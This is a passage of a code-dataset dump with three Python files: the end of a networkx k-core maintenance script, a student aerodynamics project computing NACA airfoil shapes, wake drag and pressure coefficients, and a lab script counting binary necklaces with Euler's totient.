If their core number is equal only rcd changes originating from\n for h in range(n): # the root occur.\n graph.nodes[root]['rcd'][h] -= 1\n if h < n-1 and graph.nodes[root]['rcd'][h] == k:\n # If the n-core degree of the root decreases to k, means that it was k+1 before.\n # So by Definition 7 in the paper this causes a change in the rcd values\n # of its neighbors with equal core number.\n frontiers[h+1].add(root)\n if h > 0:\n for node in frontiers[h]:\n for neighbor in graph[node]:\n if core[neighbor] == k:\n graph.nodes[neighbor]['rcd'][h] -= 1\n if h < n-1 and graph.nodes[neighbor]['rcd'][h] == k:\n # If the neighbors rcd value itself is now k, its neighbors\n # rcd values have to be adjusted as well.\n frontiers[h+1].add(neighbor)\n else:\n # Create a copy of the residential-core degrees of u and v.\n old_rcd_u = [*graph.nodes[u]['rcd']]\n old_rcd_v = [*graph.nodes[v]['rcd']]\n for h in range(n):\n # The maximum-core degree has to be adjusted separately since it does not depend\n # on the residential core degree of its neighbors.\n if h == 0:\n graph.nodes[u]['rcd'][h] -= 1\n if graph.nodes[u]['rcd'][h] == k:\n frontiers[h+1].add(u)\n graph.nodes[v]['rcd'][h] -= 1\n if graph.nodes[v]['rcd'][h] == k:\n frontiers[h+1].add(v)\n else:\n # At each iteration the h-core degree of u and v has to be adjusted since\n # they have equal core number at the point of insertion.\n if old_rcd_v[h-1] > k:\n graph.nodes[u]['rcd'][h] -= 1\n if h < n-1 and graph.nodes[u]['rcd'][h] == k:\n frontiers[h+1].add(u)\n if old_rcd_u[h-1] > k:\n graph.nodes[v]['rcd'][h] -= 1\n if h < n-1 and graph.nodes[v]['rcd'][h] == k:\n frontiers[h+1].add(v)\n for node in frontiers[h]:\n # This loop works just like it did in the first case. One thing to consider\n # is that the residential core degrees of u and v are adjusted before and therefore\n # have to be excluded.\n for neighbor in graph[node]:\n if (not (node == u and neighbor == v) and\n not (node == v and neighbor == u) and\n core[neighbor] == k):\n graph.nodes[neighbor]['rcd'][h] -= 1\n if h < n-1 and graph.nodes[neighbor]['rcd'][h] == k:\n frontiers[h+1].add(neighbor)\n\n\ndef multihop_recompute_rcd_removal(graph, n, changed):\n \"\"\"Recomputes the necessary rcd values after traversal_remove.\n\n The nodes in 'changed' and their neighbors with\n core(neighbor) = core[node]+1 have their rcd values recomputed\n up to the n-core degree.\n\n Args:\n graph: Graph object created with the networkx library.\n n: Integer representing up to which n-hop neighborhood should\n be considered while calculating rcd values.\n changed: Set of nodes that had their core number changed in\n traversal_remove.\n \"\"\"\n\n for node in changed:\n graph.nodes[node]['visited'] = 1\n for h in range(n):\n updated = set() # Set of nodes that need their h-core degree recomputed.\n for node in changed:\n # This loop determines the neighbors of the nodes in changed that\n # need their h-core degree recomputed.\n for neighbor in graph[node]:\n if (not graph.nodes[neighbor]['visited'] and\n (core[neighbor] == core[node] or core[neighbor] == core[node] + 1)):\n updated.add(neighbor)\n graph.nodes[neighbor]['visited'] = 1\n for node in updated:\n changed.add(node)\n for node in changed:\n # Computation of the h-core degree at each loop iteration.\n compute_rcd(graph, node, h)\n # Node attribute 'visited' has to be reset, since they could result in errors\n # in traversal_remove and traversal_insert otherwise.\n for node in changed:\n graph.nodes[node]['visited'] = 0\n\n\ndef micd_init(graph):\n for node in graph:\n graph.nodes[node]['pruned'] = []\n for neighbor in graph[node]:\n if core[neighbor] > core[node]:\n graph.nodes[node]['micd'] += 1\n\n\n# Insert the graph definition here:\n\ndef file_to_graph(file):\n \"\"\"Creates a networkx graph through the given file.\n\n The file has to consist of two columns, where two integers in one line\n represent an edge in the graph.\n\n E.g.: The file has to look like this:\n 1 2\n 5 6\n 6 10\n ...\n\n Args:\n file: Text file containing integers in the format mentioned above.\n \"\"\"\n\n graph = DefaultGraph() # Uncomment for traversal.\n # graph = nx.Graph() # Uncomment for order and color.\n\n with open(file) as f:\n for line in f:\n node_1, node_2 = tuple(line.split())\n graph.add_edge(int(node_1), int(node_2))\n graph.remove_edges_from(nx.selfloop_edges(graph))\n return graph\n\n# Initialization.\n\ncore = nx.core_number(graph)\ninit_rcd(graph, 2)\nmicd_init(graph)\n\n# After the graph definition and initialization the code to test the script\n# can be inserted below:\n","sub_path":"Other/traversal_yprune.py","file_name":"traversal_yprune.py","file_ext":"py","file_size_in_byte":27747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"386611132","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 23 14:38:28 2020\n\n@author: jack\n\"\"\"\n\n# Imports \n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom math import *\nplt.style.use(\"classic\")\n\n#%%###########################\n\nclass Airplane115():\n \n def __init__(self, wing_area, weight, rho):\n \"\"\"\n Airplane used in problem 1.15\n\n Parameters\n ----------\n wing_area : Wing area in ft^2\n weight : Aircraft weight in lbs\n rho : Air density in slug\n\n Returns\n -------\n None.\n\n \"\"\"\n self.wing_area = wing_area\n self.weight = weight\n self.rho = rho\n \n def getProperties(self, vel_inf):\n \"\"\"\n Returns properties given current speed\n\n Parameters\n ----------\n vel_inf : Current velocity in ft/s\n\n Returns\n -------\n C_L : Lift Coefficient\n C_D : Drag Coefficient\n LD : Lift/Drag Ratio\n\n \"\"\"\n \n # From steady, level flight condition:\n L = self.weight\n C_L = L * 2 / (self.rho * vel_inf**2 * self.wing_area)\n \n CDFunc = lambda CL: (0.025 + 0.054 * C_L**2)\n C_D = CDFunc(C_L)\n \n D = 0.5 * (self.rho * vel_inf**2 * self.wing_area * C_D)\n LD = L/D\n return C_L, C_D, LD\n\n#%%###########################\n\n# Functions\n\ndef NACAThicknessEquation(N, A, CA, num_points, *, use_other_x_points=0):\n \"\"\"\n Generates a non-dimensionalized NACA airfoil given NACA numbers.\n\n Parameters\n ----------\n N : Ratio of max camber to chord length\n A : Location of max camber\n CA : Thickness ratio\n num_points : Number of points for airfoil\n\n\n Returns\n -------\n x_non_dim_full : List of non-dimenionalized points from 0 to 1 to 0\n z : Airfoil non-dimensionalized z poisition from xc = 0 to 1 to 0\n zcc : Chord line\n\n \"\"\"\n p = 0.1 * A\n m = 0.01 * N\n t = 0.01 * CA\n if use_other_x_points is not 0:\n x_non_dim = use_other_x_points\n else:\n x_non_dim = np.linspace(0, 1, num_points)\n \n ztc = x_non_dim*0\n \n # Find thickness relative to camber\n ztc += 0.2969 * (x_non_dim**0.5)\n ztc -= 0.1260 * (x_non_dim**1)\n ztc -= 0.3516 * (x_non_dim**2)\n ztc += 0.2843 * (x_non_dim**3)\n ztc -= 0.1015 * (x_non_dim**4)\n \n ztc *= t/0.2\n \n \n # Find camber line\n zcc = 0*x_non_dim\n try:\n for i in zip(*np.where(x_non_dim <= p)):\n zcc[i] = 2*p*x_non_dim[i]\n zcc[i] -= x_non_dim[i]**2\n zcc[i] *= m * p**-2\n \n for i in zip(*np.where(x_non_dim > p)):\n zcc[i] = 1 - 2*p\n zcc[i] += 2*p*x_non_dim[i]\n zcc[i] -= x_non_dim[i]**2\n zcc[i] *= m * (1-p)**-2\n\n except:\n zcc = 0*x_non_dim\n\n\n # Sum the two\n zup = zcc + ztc\n zdown = zcc - ztc\n\n return x_non_dim, zup, zdown, zcc\n\n\ndef MomentumDeficit(y_non_dim, u1, u2, rho):\n \"\"\"\n Calculates momentum defecit from incoming and outgoing fluid velocity\n\n Parameters\n ----------\n y_non_dim : Non-dimensionalized y values\n u1 : Fluid entrance profile\n u2 : Fluid exit profile\n rho : Fluid density\n\n Returns\n -------\n Dprime : Sectional Drag D'\n\n \"\"\"\n\n internal = u2 * (u1 - u2)\n Dprime = np.trapz(internal, y_non_dim)\n Dprime *= rho\n return Dprime\n\ndef CalculateCn(Cplx, Cply, Cpux, Cpuy, *, c=1):\n left = np.trapz(Cply, Cplx)\n right = np.trapz(Cpuy, Cpux)\n out = (left - right)\n out /= c\n return out\n\ndef CalculateCa(Cplx, Cply, Cpux, Cpuy, xc, ztu, ztl, *, c=1):\n \n gradu = np.gradient(ztu, xc)\n gradl = np.gradient(ztl, xc)\n \n graduvec = np.zeros((len(Cpux)))\n gradlvec = np.zeros((len(Cplx)))\n \n for i in range(len(graduvec)):\n graduvec[i] = np.interp(Cpux[i], xc, gradu)\n\n for i in range(len(gradlvec)):\n gradlvec[i] = np.interp(Cplx[i], xc, gradl)\n left = np.trapz(Cpuy*graduvec, Cpux)\n right = np.trapz(Cply*gradlvec, Cplx)\n\n \n out = (left - right)/c\n return out\n\ndef CalculateCmLE(Cplx, Cply, Cpux, Cpuy, *, c=1):\n \"\"\"\n Determines moment coefficient from the leading edge.\n\n Parameters\n ----------\n Cplx : x-data for lower Cp\n Cply : y-data for lower Cp\n Cpux : x-data for upper Cp\n Cpuy : y-data for upper Cp\n c : Chord length, default 1 (non-dimensionalized)\n\n Returns\n -------\n CmLE : Moment Coefficient CmLE\n\n \"\"\"\n left = np.trapz(Cpuy*Cpux, Cpux)\n right = np.trapz(Cply*Cplx, Cplx)\n CmLE = left - right\n CmLE /= c**2\n return CmLE\n\ndef RotateC(C_n, C_a, C_mLE, alpha):\n C_l = C_n*np.cos(np.deg2rad(alpha)) - C_a * np.sin(np.deg2rad(alpha))\n C_d = C_n*np.sin(np.deg2rad(alpha)) + C_a * np.cos(np.deg2rad(alpha))\n \n C_m4 = C_mLE + 0.25*C_l\n return C_l, C_d, C_m4\n\ndef plothusly(ax, x, y, *, xtitle='', ytitle='',\n datalabel='', title='', linestyle='-',\n marker=''):\n \"\"\"\n A little function to make graphing less of a pain.\n Creates a plot with titles and axis labels.\n Adds a new line to a blank figure and labels it.\n\n Parameters\n ----------\n ax : The graph object\n x : X axis data\n y : Y axis data\n xtitle : Optional x axis data title. The default is ''.\n ytitle : Optional y axis data title. The default is ''.\n datalabel : Optional label for data. The default is ''.\n title : Graph Title. The default is ''.\n\n Returns\n -------\n out : Resultant graph.\n\n \"\"\"\n\n ax.set_xlabel(xtitle)\n ax.set_ylabel(ytitle)\n ax.set_title(title)\n out = ax.plot(x, y, zorder=1, label=datalabel, linestyle = linestyle,\n marker = marker)\n plt.grid()\n plt.legend(loc='best')\n return out\n\n\ndef plothus(ax, x, y, *, datalabel='', linestyle = '-',\n marker = ''):\n \"\"\"\n A little function to make graphing less of a pain\n\n Adds a new line to a blank figure and labels it\n \"\"\"\n out = ax.plot(x, y, zorder=1, label=datalabel, linestyle = linestyle,\n marker = marker)\n plt.legend(loc='best')\n\n return out\n\n\n#%%###########################\n\n# Problem 1\n\n\nx, upper, lower, chord = NACAThicknessEquation(0, 0, 18, 100)\ncolumn_names = [\"NACA 0018 X\", \"NACA 0018 Upper\"]\nairfoil_df = pd.DataFrame(columns=column_names)\n\nairfoil_df[\"NACA 0018 X\"], airfoil_df[\"NACA 0018 Upper\"]= x, upper\nairfoil_df[\"NACA 0018 Lower\"], airfoil_df[\"NACA 0018 Chord\"] = lower, chord\n\n\n\nfig, NACAsymplot = plt.subplots()\nplothusly(NACAsymplot,\n airfoil_df[\"NACA 0018 X\"],\n airfoil_df[\"NACA 0018 Upper\"],\n xtitle=r'Non-dimensionalized x-position $\\frac{x}{c}$',\n ytitle=r'Non-dimensionalized z-position $\\frac{z}{c}$',\n datalabel=\"NACA 0018 Upper Surface\",\n title=\"NACA 0018 Airfoil Plot\")\n\nplothus(NACAsymplot,\n airfoil_df[\"NACA 0018 X\"],\n airfoil_df[\"NACA 0018 Lower\"],\n datalabel='NACA 0018 Lower Surface',\n linestyle=\"-\")\n\nplothus(NACAsymplot,\n airfoil_df[\"NACA 0018 X\"],\n airfoil_df[\"NACA 0018 Chord\"],\n datalabel='NACA 0018 Chord Line',\n linestyle=\"--\")\n\nplt.axis('equal')\n\n\nx, upper, lower, chord = NACAThicknessEquation(2, 4, 18, 100)\n\nairfoil_df[\"NACA 2418 X\"], airfoil_df[\"NACA 2418 Upper\"] = x, upper\nairfoil_df[\"NACA 2418 Lower\"], airfoil_df[\"NACA 2418 Chord\"] = lower, chord\n\n\nfig, NACAplot = plt.subplots()\nplothusly(NACAplot,\n airfoil_df[\"NACA 2418 X\"],\n airfoil_df[\"NACA 2418 Upper\"],\n xtitle=r'Non-dimensionalized x-position $\\frac{x}{c}$',\n ytitle=r'Non-dimensionalized z-position $\\frac{z}{c}$',\n datalabel=\"NACA 2418 Upper Surface\",\n title=\"NACA 2418 Airfoil Plot\")\n\nplothus(NACAplot,\n airfoil_df[\"NACA 2418 X\"],\n airfoil_df[\"NACA 2418 Lower\"],\n datalabel='NACA 2418 Lower Surface',\n linestyle=\"-\")\n\nplothus(NACAplot,\n airfoil_df[\"NACA 2418 X\"],\n airfoil_df[\"NACA 2418 Chord\"],\n datalabel='NACA 2418 Chord Line',\n linestyle=\"--\")\n\nplt.axis('equal')\n\n#%%###########################\n\n# Problem 2\n\n\n\nwakeveldat = np.loadtxt('Data/WakeVelDist.dat', delimiter=',')\ncolumn_names = [\"y/c\", \"u1\", \"u2\"]\nwake_velocity_dat = pd.DataFrame(wakeveldat, columns=column_names)\nrho = 1.2\n\nsectional_drag = MomentumDeficit(wake_velocity_dat[\"y/c\"],\n wake_velocity_dat[\"u1\"],\n wake_velocity_dat[\"u2\"],\n rho)\n\ncoeffs = np.polyfit(wake_velocity_dat[\"y/c\"], wake_velocity_dat[\"u2\"], 6)\n\nyc = np.linspace(-1.25, 1.25, 100)\nu2 = 0*yc\n\ncoeffs = np.flip(coeffs)\n\nfor k in range(len(coeffs)):\n u2 += coeffs[k] * (yc**k)\n\nsectional_drag_2 = MomentumDeficit(yc, 1, u2, rho)\n\nfig, test = plt.subplots()\nplothusly(test,\n wake_velocity_dat[\"u2\"],\n wake_velocity_dat[\"y/c\"],\n datalabel='Original',\n xtitle=r'Fluid Exit velocity u$_2$',\n ytitle=r'Non-dimensionalized y dimension $\\frac{y}{c}$',\n marker='o',\n title='Airfoil Wake Drag')\nplothus(test, u2, yc, datalabel=r'6$^{th}$ Degree Polynomial Fit')\nplt.xlim([0, 1])\nplt.ylim([-1.25, 1.25])\n\n\n# Shade in boundary layer\nvline = u2*0\nplt.fill_betweenx(yc, 0, u2, color='green', alpha=0.05)\n\n\n# Make Arrows\narrowwidth, arrowlength = 0.02, 0.02\n\nfor i in range(0, len(yc), 5):\n if abs(u2[i]) < arrowlength:\n plt.plot([0, u2[i]], [yc[i], yc[i]], color='green')\n else:\n plt.arrow(0, yc[i], u2[i]-arrowlength, 0, head_width=arrowwidth,\n head_length=arrowlength, color='green', linewidth=2, alpha=0.3)\n\n#%%###########################\n\n# Problem 3\n\nxfoildat = pd.read_csv(\"Data/JRCairfoildataProject1.csv\")\nprint(xfoildat)\n\n\n# Symmetric\nairfoilflatHIlo0 = np.loadtxt(\"Data/naca2418/naca2418ReHI0lower.text\", skiprows=1)\nairfoilflatHIhi0 = np.loadtxt(\"Data/naca2418/naca2418ReHI0upper.text\", skiprows=1)\nairfoilflatHIlo11 = np.loadtxt(\"Data/naca2418/naca2418ReHI11lower.text\", skiprows=1)\nairfoilflatHIhi11 = np.loadtxt(\"Data/naca2418/naca2418ReHI11upper.text\", skiprows=1)\n\n# Cambered\nairfoilcurveHIlo0 = np.loadtxt(\"Data/naca0018/naca0018ReHI0lower.text\", skiprows=1)\nairfoilcurveHIhi0 = np.loadtxt(\"Data/naca0018/naca0018ReHI0upper.text\", skiprows=1)\nairfoilcurveHIlo11 = np.loadtxt(\"Data/naca0018/naca0018ReHI11lower.text\", skiprows=1)\nairfoilcurveHIhi11 = np.loadtxt(\"Data/naca0018/naca0018ReHI11upper.text\", skiprows=1)\n\n\n\nalpha = 0\nfig, presplot0 = plt.subplots()\n\nnaca = '0018'\nplothusly(presplot0,\n airfoilflatHIlo0[:, 0],\n airfoilflatHIlo0[:, 1],\n datalabel=fr'NACA{naca}, lower surface',\n xtitle=r'Non-dimensionalized x-position $\\frac{x}{c}$',\n ytitle=r'C$_P$',\n title=fr'Airfoil Pressure Distrubution Comparison at $\\alpha$ = {alpha}')\n\nplothus(presplot0,\n airfoilflatHIhi0[:, 0],\n airfoilflatHIhi0[:, 1],\n datalabel=fr'NACA{naca}, upper surface'\n )\n\nnaca='2418'\nplothus(presplot0,\n airfoilcurveHIlo0[:, 0],\n airfoilcurveHIlo0[:, 1],\n datalabel=fr'NACA{naca}, lower surface',\n )\n\nplothus(presplot0,\n airfoilcurveHIhi0[:, 0],\n airfoilcurveHIhi0[:, 1],\n datalabel=fr'NACA{naca}, upper surface'\n )\nplt.gca().invert_yaxis()\n\nalpha = 11\nfig, presplot11 = plt.subplots()\n\nnaca = '0018'\nplothusly(presplot11,\n airfoilflatHIlo11[:, 0],\n airfoilflatHIlo11[:, 1],\n datalabel=fr'NACA{naca}, lower surface',\n xtitle=r'Non-dimensionalized x-position $\\frac{x}{c}$',\n ytitle=r'C$_P$',\n title=fr'Airfoil Pressure Distrubution Comparison at $\\alpha$ = {alpha}')\n\nplothus(presplot11,\n airfoilflatHIhi11[:, 0],\n airfoilflatHIhi11[:, 1],\n datalabel=fr'NACA{naca}, upper surface'\n )\n\nnaca='2418'\nplothus(presplot11,\n airfoilcurveHIlo11[:, 0],\n airfoilcurveHIlo11[:, 1],\n datalabel=fr'NACA{naca}, lower surface',\n )\n\nplothus(presplot11,\n airfoilcurveHIhi11[:, 0],\n airfoilcurveHIhi11[:, 1],\n datalabel=fr'NACA{naca}, upper surface'\n )\nplt.gca().invert_yaxis()\n\n\n\n#%%###########################\n\nnaca='0018'; alpha = 11\n\n# Inviscid\n\nairfoilflatLOlo = np.loadtxt(\"Data/naca0018/naca0018ReLO11lower.text\", skiprows=1)\nairfoilflatLOhi = np.loadtxt(\"Data/naca0018/naca0018ReLO11upper.text\", skiprows=1)\n\n# Viscid\nairfoilflatHIlo = np.loadtxt(\"Data/naca0018/naca0018ReHI11lower.text\", skiprows=1)\nairfoilflatHIhi = np.loadtxt(\"Data/naca0018/naca0018ReHI11upper.text\", skiprows=1)\n\n\n\nfig, presplot4 = plt.subplots()\n\nplothusly(presplot4,\n airfoilflatLOlo[:, 0],\n airfoilflatLOlo[:, 1],\n datalabel='Lower, Inviscid',\n xtitle=r'Non-dimensionalized x-position $\\frac{x}{c}$',\n ytitle=r'-C$_P$',\n title=fr'NACA {naca} Pressure Distribution at $\\alpha$ = {alpha}')\n\nplothus(presplot4,\n airfoilflatLOhi[:, 0],\n airfoilflatLOhi[:, 1],\n datalabel='Upper, Inviscid',\n )\n\nplothus(presplot4,\n airfoilflatHIlo[:, 0],\n airfoilflatHIlo[:, 1],\n datalabel='Lower, Re=6e5',\n )\n\nplothus(presplot4,\n airfoilflatHIhi[:, 0],\n airfoilflatHIhi[:, 1],\n datalabel='Upper, Re=6e5',\n )\nplt.gca().invert_yaxis()\n\n#%%###########################\n\n# Problem 3.3\nalpha = 11\nairfoilcurveLOlo11 = np.loadtxt(\"Data/naca2418/naca2418ReLO11lower.text\", skiprows=1)\nairfoilcurveLOhi11 = np.loadtxt(\"Data/naca2418/naca2418ReLO11upper.text\", skiprows=1)\n\n\n# Calculate for Inviscid\n\n# Flipping upper surface is necessary, since it is reversed.\nCmLOi = CalculateCmLE(airfoilcurveLOlo11[:, 0],\n airfoilcurveLOlo11[:, 1],\n np.flip(airfoilcurveLOhi11[:, 0]),\n np.flip(airfoilcurveLOhi11[:, 1]))\n\nCaLO = CalculateCa(airfoilcurveLOlo11[:, 0],\n airfoilcurveLOlo11[:, 1],\n np.flip(airfoilcurveLOhi11[:, 0]),\n np.flip(airfoilcurveLOhi11[:, 1]),\n airfoil_df[\"NACA 2418 X\"],\n airfoil_df[\"NACA 2418 Upper\"],\n airfoil_df[\"NACA 2418 Lower\"])\n\nCnLO = CalculateCn(airfoilcurveLOlo11[:, 0],\n airfoilcurveLOlo11[:, 1],\n np.flip(airfoilcurveLOhi11[:, 0]),\n np.flip(airfoilcurveLOhi11[:, 1]))\n\n\n# Report Results\nClLO, CdLO, CmLO = RotateC(CnLO, CaLO, CmLOi, alpha)\nstring = f'For Re = 0, Cl = {ClLO}, Cd = {CdLO}, Cm = {CmLO}'\nprint(string)\n\n\n\n# Calculate for viscid\nCmHI = CalculateCmLE(airfoilcurveHIlo11[:, 0],\n airfoilcurveHIlo11[:, 1],\n np.flip(airfoilcurveHIhi11[:, 0]),\n np.flip(airfoilcurveHIhi11[:, 1]))\n\nCaHI = CalculateCa(airfoilcurveHIlo11[:, 0],\n airfoilcurveHIlo11[:, 1],\n np.flip(airfoilcurveHIhi11[:, 0]),\n np.flip(airfoilcurveHIhi11[:, 1]),\n airfoil_df[\"NACA 2418 X\"],\n airfoil_df[\"NACA 2418 Upper\"],\n airfoil_df[\"NACA 2418 Lower\"])\n\nCnHI = CalculateCn(airfoilcurveHIlo11[:, 0],\n airfoilcurveHIlo11[:, 1],\n np.flip(airfoilcurveHIhi11[:, 0]),\n np.flip(airfoilcurveHIhi11[:, 1]))\n\n\n# Report Results\nClHI, CdHI, CmHI = RotateC(CnHI, CaHI, CmHI, alpha)\nstring = f'For Re = 6e5, Cl = {ClHI}, Cd = {CdHI}, Cm = {CmHI}'\nprint(string)\n\n#%%###########################\n\n# Problem 4\n\n# Problem 1.15\n\nn = 250\n\nvel_list = np.linspace(70, 250, n)\n\ncessna_skylane = Airplane115(174, 2950, 0.002377)\n\nc_l_vec = np.zeros((n, 1))\nc_d_vec = np.zeros((n, 1))\nld_vec = np.zeros((n, 1))\n\nfor i in range(len(vel_list)):\n c_l_vec[i], c_d_vec[i], ld_vec[i] = cessna_skylane.getProperties(vel_list[i])\n \nfig, c_l_plot = plt.subplots()\nplothusly(c_l_plot,\n vel_list,\n c_l_vec,\n xtitle=\"Flight Velocity (ft/s)\",\n ytitle=r'Lift Coefficient C$_L$',\n title=r'Unidentified Aircraft C$_L$ with varying speed',\n datalabel='Unidentified Aircraft')\n\n \nfig, c_d_plot = plt.subplots()\nplothusly(c_d_plot,\n vel_list,\n c_d_vec,\n xtitle=\"Flight Velocity (ft/s)\",\n ytitle=r'Drag Coefficient C$_D$',\n title=r'Unidentified Aircraft C$_D$ with varying speed',\n datalabel='Unidentified Aircraft')\n\nfig, ldplot = plt.subplots()\nplothusly(ldplot,\n vel_list,\n ld_vec,\n xtitle=\"Flight Velocity (ft/s)\",\n ytitle=r'Lift/Drag Ratio L/D',\n title=r'Unidentified Aircraft L/D with varying speed',\n datalabel='Unidentified Aircraft')\n\n#%%###########################\n\n# Problem 3.11\n\nLAMBDA = 10 # Capital lambda, source strength\n\n# Note: np.log is natural log\nsource_flow_phi = lambda r: LAMBDA/(2*np.pi) * np.log(r)\nsource_flow_psi = lambda theta: LAMBDA/(2*np.pi) * theta\n\ndata_points = np.linspace(1, 10, 100000)\n\n\nlaplace_verified_phi = np.gradient(data_points * np.gradient(source_flow_phi(data_points))) / data_points\nlaplace_verified_psi = np.gradient(np.gradient(source_flow_psi(data_points))) / (data_points**2)\n\nmax_phi = max(laplace_verified_phi)\nmax_psi = max(laplace_verified_psi)\n\nprint(f'Max phi = {max_phi}')\nprint(f'Max psi = {max_psi}')\n#%%###########################\n\n# 3.16\nR = 1\nr_list = np.linspace(R, 5, n)\ntheta_list = np.linspace(0, 2*np.pi, n)\n\nnon_lifting_psi = lambda r, theta, V: (V * r * np.sin(theta) * (1- R/(r**2)))\n\ndata_storage_lo = np.zeros((n, 3))\ndata_storage_hi = np.zeros((n, 3))\n\ni = 0\nfor r, theta in zip(r_list, theta_list):\n data_storage_lo[i, 0] = r\n data_storage_lo[i, 1] = theta\n data_storage_lo[i, 2] = non_lifting_psi(r, theta, 20)\n i += 1\n\ni = 0\nfor r, theta in zip(r_list, theta_list):\n data_storage_hi[i, 0] = r\n data_storage_hi[i, 1] = theta\n data_storage_hi[i, 2] = non_lifting_psi(r, theta, 40)\n i += 1\n\n","sub_path":"Project 1/JRCProject1EAE127.py","file_name":"JRCProject1EAE127.py","file_ext":"py","file_size_in_byte":17972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"477122064","text":"import numpy as np\r\nimport math\r\n\r\ndef eil(a):\r\n res = a\r\n i = 2\r\n while i*i <= a:\r\n if a % i == 0:\r\n while a % i == 0:\r\n a /= i\r\n res -= res // i\r\n i += 1\r\n if a > 1:\r\n res -= res//a\r\n return int(res)\r\n\r\ndef C(n, k):\r\n return int(math.factorial(n)/math.factorial(n-k)/math.factorial(k))\r\n\r\n#for i in range (1, 20):\r\n# x = eil (i)\r\nx = math.factorial(0)\r\n\r\nlen_start = 8\r\nlen_end = 11\r\n\r\nones_start = 4\r\n\r\nfinal = np.zeros((len_end+1, len_end+1))\r\nfinal_sym = np.zeros((len_end+1, len_end+1))\r\n\r\n\r\nfinal_t = np.zeros((len_end+1, len_end+1))\r\nfinal_sym_t = np.zeros((len_end+1, len_end+1))\r\n\r\nfor chain_len in range(len_start, len_end + 1):\r\n for ones in range (ones_start, chain_len + 1):\r\n\r\n a = [[\"0\", \"1\"]]\r\n for i in range (1,chain_len):\r\n a += [[]]\r\n \r\n for i in range(0, chain_len-1):\r\n for b in a[i]:\r\n a[i+1]+=[b+\"0\"]\r\n a[i+1]+=[b+\"1\"]\r\n \r\n res = []\r\n \r\n \r\n def onescount(s):\r\n val = int(s)\r\n sum = 0\r\n while val != 0:\r\n sum += val % 10\r\n val = val // 10\r\n return sum\r\n q = []\r\n for c in a[chain_len-1]:\r\n q+=[c]\r\n for c in q:\r\n flag = 1\r\n for i in range (0, chain_len):\r\n if (c[chain_len-i:]+c[:chain_len-i] in a[chain_len-1]):\r\n if flag == 1:\r\n res += [c]\r\n flag = 0\r\n a[chain_len-1].remove(c[chain_len-i:]+c[:chain_len-i])\r\n \r\n \r\n \r\n b = []\r\n for c in res:\r\n if onescount(c) == ones:\r\n b+=[c]\r\n \r\n bb = [] \r\n for t in b:\r\n flag = 0\r\n for i in range (0, chain_len):\r\n if flag == 1:\r\n continue\r\n flag = 1\r\n tt = t[chain_len-i:]+t[:chain_len-i]\r\n\r\n for j in range (1, chain_len // 2 + 1):\r\n if tt[j] != tt[-j]:\r\n flag = 0\r\n if flag == 1:\r\n bb += [tt]\r\n j = chain_len//2\r\n else:\r\n if chain_len % 2 == 0:\r\n flag = 1\r\n for j in range (1, chain_len // 2 + 1):\r\n if tt[j-1] != tt[-j]:\r\n flag = 0\r\n if flag == 1:\r\n bb += [tt]\r\n j = chain_len//2\r\n\r\n final[chain_len, ones] = len(b)\r\n final_sym[chain_len, ones] = len(bb)\r\n \r\n for der in range(1, ones + 1):\r\n if ones % der == 0 and (chain_len-ones) % der == 0:# and der <= chain_len - ones:\r\n s = eil(der)*(math.factorial(chain_len/der))/(math.factorial(ones/der) * math.factorial((chain_len - ones)/der))\r\n #testtt += s\r\n final_t[chain_len, ones] += eil(der)*(math.factorial(chain_len/der))/(math.factorial(ones/der) * math.factorial((chain_len - ones)/der))\r\n final_t[chain_len, ones] /= chain_len\r\n \r\n \r\n if (chain_len % 2 == 1):\r\n vert = ones if (ones % 2 == 1) else (chain_len - ones)\r\n others = (chain_len-vert) / 2\r\n vert = (vert-1)/2\r\n final_sym_t[chain_len, ones] = final_t[chain_len, ones]/2 + C(vert+others, vert)/2\r\n else:\r\n if ones % 2 == 0:\r\n a1 = ones\r\n b1 = chain_len - ones\r\n a1 = a1/2 - 1\r\n b1 = b1/2\r\n a2 = a1 + 1\r\n b2 = b1 - 1\r\n a3 = a1 + 1\r\n b3 = b1\r\n final_sym_t[chain_len, ones] = final_t[chain_len, ones]/2 + (C(a1+b1, a1) + C(a3+b3, a3))/4 + (C(a2+b2, a2)/4 if b1 > 0 else 0)\r\n else:\r\n final_sym_t[chain_len, ones] = final_t[chain_len, ones]/2 + C((chain_len-2)/2, (ones-1)/2)/2 # not 2chain_len on purpose\r\n\r\n\r\nfor i in range(len_start, len_end + 1):\r\n final[i,0] = final[i,i]\r\n final_t[i,0] = final_t[i,i]\r\n final_sym[i,0] = final_sym[i,i]\r\n final_sym_t[i,0] = final_sym_t[i,i]\r\nfinal[0,0] = 1\r\nfinal_t[0,0] = 1\r\nfinal_sym[0,0] = 1\r\nfinal_sym_t[0,0] = 1\r\n\r\n#print(final_t[chain_len, ones])\r\n#print(final[chain_len, ones], end = '\\n\\n\\n')\r\n#print (final_t - final, end = '\\n\\n\\n')\r\nprint (final_t, end = '\\n\\n\\n')\r\nprint (final_sym_t, end = '\\n\\n\\n')\r\nprint (final_sym, end = '\\n\\n\\n')\r\nprint(2*final_sym_t - final_t, end = '\\n\\n\\n')\r\nprint (2*final_sym_t - final_t - final_sym)\r\n\r\n\r\n#print(b)\r\n#print(bb)\r\n#print(len(b))\r\n#print(len(bb))\r\n\r\n#chain_len = 8\r\n#ones = 2\r\n#testtt = 0\r\n#for der in range(1, ones + 1):\r\n# if ones % der == 0 and (chain_len-ones) % der == 0 and der <= chain_len - ones:\r\n# s = eil(der)*(math.factorial(chain_len/der))/(math.factorial(ones/der) * math.factorial((chain_len - ones)/der))\r\n# testtt += s\r\n# final_t[chain_len, ones] += s\r\n","sub_path":"Karaev Yakov/lab2/lab2mvs.py","file_name":"lab2mvs.py","file_ext":"py","file_size_in_byte":5189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"}